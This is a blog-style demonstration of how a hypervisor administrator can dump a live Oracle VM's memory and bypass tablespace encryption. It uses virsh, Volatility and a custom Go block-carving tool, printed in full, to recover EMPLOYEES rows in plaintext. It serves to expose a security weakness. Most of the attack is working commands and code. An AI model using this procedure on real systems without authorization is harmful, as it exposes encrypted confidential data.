Remember my post, regarding dumping the SGA to read encrypted blocks?
What if I tell you, that you can do the same, while being a KVM host administrator with no credentials to a VM itself?
Let’s prepare our secure database in a way I did in article AMM vs security.
After enabling Oracle Wallet and turning possibility of encrypting data, I moved table EMPLOYEES to my new "secure" Tablespace:
SQL> alter system set db_create_file_dest='/opt/oracle/oradata';
Zmieniono system.
SQL> create pluggable database pdbsec from orclpdb1;
Utworzono wtyczkowa baze danych.
SQL> alter session set container=pdbsec;
SQL> startup
Wtyczkowa baza danych zostala otwarta.
Zmieniono sesje.
SQL> administer key management set keystore open identified by "ZyrafyWchodzaDoSzafy";
Zmieniono magazyn kluczy.
SQL> administer key management set key identified by "ZyrafyWchodzaDoSzafy" with backup;
Zmieniono magazyn kluczy.
SQL> create tablespace secure_data
2 datafile size 128m
3 autoextend on next 64m
4 maxsize 1g
5 encryption using 'AES256'
6 default storage (encrypt);
Utworzono przestrzen tabel.
SQL> alter table hr.employees move tablespace secure_data;
Zmieniono tabele.
OK, so now let’s say that I’m an evil KVM administrator who knows that there is an Oracle Database running inside a VM called DB3. And I know that there are some pretty interesting things hidden inside! 🙂
Like in my previous article about VMI I’m going to make a VM memory dump with virsh command:
[root@rapier volatility]# export LIBVIRT_AUTH_FILE=/etc/ovirt-hosted-engine/virsh_auth.conf
[root@rapier volatility]# virsh dump db3 --live --memory-only --file ../db3.memory
Domain db3 dumped to ../db3.memory
Great, know let’s check SPID of some process, based on which we could dump SGA contents. Like DBW0 for instance:
[root@rapier volatility]# python vol.py --profile=LinuxOEL7_9_3_10_0-1160_21_1_el7_x86_64x64 -f ../db3.memory linux_pslist | grep dbw0
Volatility Foundation Volatility Framework 2.6.1
0xffff9687b1094200 ora_dbw0_orclcd 18821 1 - 54321 0x000000004b9f2000 2021-04-15 12:18:24 UTC+0000
Once we have it, we can check process maps:
root@rapier volatility]# python vol.py --profile=LinuxOEL7_9_3_10_0-1160_21_1_el7_x86_64x64 -f ../db3.memory linux_proc_maps -p 18821
Volatility Foundation Volatility Framework 2.6.1
Offset Pid Name Start End Flags Pgoff Major Minor Inode File Path
------------------ -------- -------------------- ------------------ ------------------ ------ ------------------ ------ ------ ---------- ---------
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x0000000000400000 0x0000000016ee3000 r-x 0x0 253 0 273097956 /opt/oracle/product/19c/dbhome_1/bin/oracle
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x00000000170e3000 0x000000001724b000 r-- 0x16ae3000 253 0 273097956 /opt/oracle/product/19c/dbhome_1/bin/oracle
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x000000001724b000 0x00000000172a9000 rw- 0x16c4b000 253 0 273097956 /opt/oracle/product/19c/dbhome_1/bin/oracle
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x00000000172a9000 0x00000000172f8000 rw- 0x0 0 0 0
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x0000000017c0e000 0x0000000017c5b000 rw- 0x0 0 0 0 [heap]
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x0000000060000000 0x0000000060001000 r-- 0x0 0 4 5 /:[5]
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x0000000060001000 0x00000000608b7000 rw- 0x1000 0 4 5 /:[5]
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x0000000061000000 0x00000000bc000000 rw- 0x0 0 4 6 /:[6]
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x00000000bc000000 0x00000000bc749000 rw- 0x0 0 4 7 /:[7]
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x00000000bd000000 0x00000000bd003000 rw- 0x0 0 4 8 /:[8]
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x00007fd215304000 0x00007fd215307000 r-x 0x0 253 0 86948257 /opt/oracle/product/19c/dbhome_1/lib/libnque19.so
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x00007fd215307000 0x00007fd215506000 --- 0x3000 253 0 86948257 /opt/oracle/product/19c/dbhome_1/lib/libnque19.so
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x00007fd215506000 0x00007fd215507000 r-- 0x2000 253 0 86948257 /opt/oracle/product/19c/dbhome_1/lib/libnque19.so
0xffff9687b1094200 18821 ora_dbw0_orclcd 0x00007fd215507000 0x00007fd215508000 rw- 0x3000 253 0 86948257 (...removed...)
Check out the highlighted line: with Start = 0x0000000061000000 and End = 0x00000000bc000000
If we subtract those 2 values we get:
[root@rapier volatility]# python -c 'print int("0x00000000bc000000",16)-int("0x0000000061000000", 16)'
1526726656
Which the same exact number as a sum of Variable Size plus Database Buffers in our target database:
SQL> show sga
Total System Global Area 1543500872 bytes
Fixed Size 9135176 bytes
Variable Size 553648128 bytes
Database Buffers 973078528 bytes
Redo Buffers 7639040 bytes
SQL> select 553648128 + 973078528 from dual;
553648128+973078528
-------------------
1526726656
How to dump the contents of SGA then? Very simple:
[root@rapier volatility]# python vol.py --profile=LinuxOEL7_9_3_10_0-1160_21_1_el7_x86_64x64 -f ../db3.memory linux_dump_map -p 18821 -s 0x0000000061000000 --dump-dir=$PWD/maps/
Volatility Foundation Volatility Framework 2.6.1
Task VM Start VM End Length Path
---------- ------------------ ------------------ ------------------ ----
18821 0x0000000061000000 0x00000000bc000000 0x5b000000 /root/volatility/maps/task.18821.0x61000000.vma
[root@rapier volatility]# du -sh /root/volatility/maps/task.18821.0x61000000.vma
1,5G /root/volatility/maps/task.18821.0x61000000.vma
Now, we have a separate file for SGA, we can extract some dictionary values out of it. I know that OBJ$ in database 19c is 18, so I can use a slightly modified version of my SGADUMP tool:
package main
import (
"os"
"fmt"
"strconv"
"encoding/binary"
)
func main() {
var shmfile string
var blocksize int64
var data_object_id uint64
var fname string
if len(os.Args) < 9 {
fmt.Printf("sgadump by Kamil Stawiarski (@ora600pl) - dumps database blocks from SGA VM memory dump\n")
fmt.Printf("Usage: sgadump -b block_size -d data_object_id -s shmfile -o output_file_name\n")
return
}
for i := 0; i < len(os.Args) ; i++ {
if os.Args[i] == "-s" {
shmfile = os.Args[i+1]
} else if os.Args[i] == "-d" {
data_object_id, _ = strconv.ParseUint(os.Args[i+1], 10, 32)
} else if os.Args[i] == "-b" {
blocksize, _ = strconv.ParseInt(os.Args[i+1], 10, 32)
} else if os.Args[i] == "-o" {
fname = os.Args[i+1]
}
}
file, err := os.Create(fname)
if err != nil {
panic(err)
}
defer file.Close()
if segment, err := os.Open(shmfile) ; err == nil {
defer segment.Close()
foundBlocks := 0
fs, _ := segment.Stat()
blocks := fs.Size() / blocksize
var i int64
for i = 0; i < blocks ; i++ {
block_data := make([]byte, blocksize)
segment.Read(block_data)
if block_data[0] == 6 {
objd := uint64(binary.LittleEndian.Uint32(block_data[24:28]))
if data_object_id == objd {
file.Write(block_data)
foundBlocks++
}
}
}
fmt.Printf("shmid = %s\t size is %d, blocks = %d\n", shmfile, fs.Size(), blocks)
fmt.Printf("Dumped %d blocks to %s\n", foundBlocks, fname)
}
}
[root@rapier maps]# ./sgadump_vmi -b 8192 -d 18 -s task.18821.0x61000000.vma -o obj.out
shmid = task.18821.0x61000000.vma size is 1526726656, blocks = 186368
Dumped 27 blocks to obj.out
Cool, I found 27 block candidates. Let’s find our block with XXD and rico2.py
[root@rapier maps]# xxd -g 4 -c 16 obj.out | grep -B 2 -A 2 EMPLOY
0006b10: b861061d 1a052c59 2e2dc6b3 83018001 .a....,Y.-......
0006b20: 80018004 c3024053 2c011a04 c3082758 ......@S,.....'X
0006b30: 04c30828 0e03c202 0a09454d 504c4f59 ...(......EMPLOY
0006b40: 45455302 c102ff02 c1030778 79040f0f EES........xy...
0006b50: 2a140778 79040f0f 2c070778 79040f0f *..xy...,..xy...
Let’s analyze this. NAME (object_name) is the 4th column of OBJ$ table – first 3 are numbers: OBJ#, DATAOBJ# and OWNER#. We are interested in decoding DATAOBJ#.
Let’s try to understand those HEX numbers. We know that EMPLOYEES is represented by 9 bytes: 454d504c4f59454553
So the previous 03c2020a should mean – 3 bytes of value: c2020a (OWNER# = 109)
And previous to that, we have: 04c308280e. Which means: 4 bytes of value: c308280e. If we decode this to Oracle Number, we will get: 73913
If we had our database access, we could confirm that this is the table we are looking for:
SQL> select name
2 from obj$
3 where DATAOBJ#=utl_raw.cast_to_number('c308280e')
4 and OWNER#=utl_raw.cast_to_number('c2020a');
NAME
------------------------------------------------------------------
EMPLOYEES
Once we determine our DATA_OBJECT_ID, we can use sgadump_vmi once more:
[root@rapier maps]# ./sgadump_vmi -b 8192 -d 73913 -s task.18821.0x61000000.vma -o employees.out
shmid = task.18821.0x61000000.vma size is 1526726656, blocks = 186368
Dumped 1 blocks to employees.out
Now we can prepare a listfile and examine our block with rico2.py
[root@rapier maps]# echo "1 employees.out" > listfile
[root@rapier maps]# python ~/rico2.py listfile
RICO v2 by Kamil Stawiarski (@ora600pl | www.ora-600.pl)
This is open source project to map BBED functionality.
If you know how to use BBED, you will know how to use this one.
Not everything is documented but in most cases the code is trivial to interpret it.
So if you don't know how to use this tool - then maybe you shouldn't ;)
Usage: python2.7 rico2.py listfile.txt
The listfile.txt should contain the list of the DBF files you want to read
!!! CAUTION !!!!
This tool should be used only to learn or in critical situations!
The usage is not supported!
If found on production system, this software should be considered as malware and deleted immediately!
1 employees.out
rico2 > set dba 1,0
DBA 0x400000 (4194304 1,0)
rico2 > p *kdbr[0]
rowdata[6938] @8126 0x2c
-------------
flag@8126: 0x2c
lock@8127: 0x0
cols@8128: 11
col 0[2] @8129: c202
col 1[6] @8132: 53746576656e
col 2[4] @8139: 4b696e67
col 3[5] @8144: 534b494e47
col 4[12] @8150: 3531352e3132332e34353637
col 5[7] @8163: 78670611010101
col 6[7] @8171: 41445f50524553
col 7[3] @8179: c30329
col 8[0] @8183: *NULL*
col 9[0] @8184: *NULL*
col 10[2] @8185: c15b
rico2 > x /rncccctcnnnn
rowdata[6938] @8126 0x2c
-------------
flag@8126: 0x2c
lock@8127: 0x0
cols@8128: 11
col 0[2] @8129: c202 100
col 1[6] @8132: 53746576656e Steven
col 2[4] @8139: 4b696e67 King
col 3[5] @8144: 534b494e47 SKING
col 4[12] @8150: 3531352e3132332e34353637 515.123.4567
col 5[7] @8163: 78670611010101 2003-06-17:00:00:00
col 6[7] @8171: 41445f50524553 AD_PRES
col 7[3] @8179: c30329 24000
col 8[0] @8183: *NULL*
col 9[0] @8184: *NULL*
col 10[2] @8185: c15b 90
And voilà! 🙂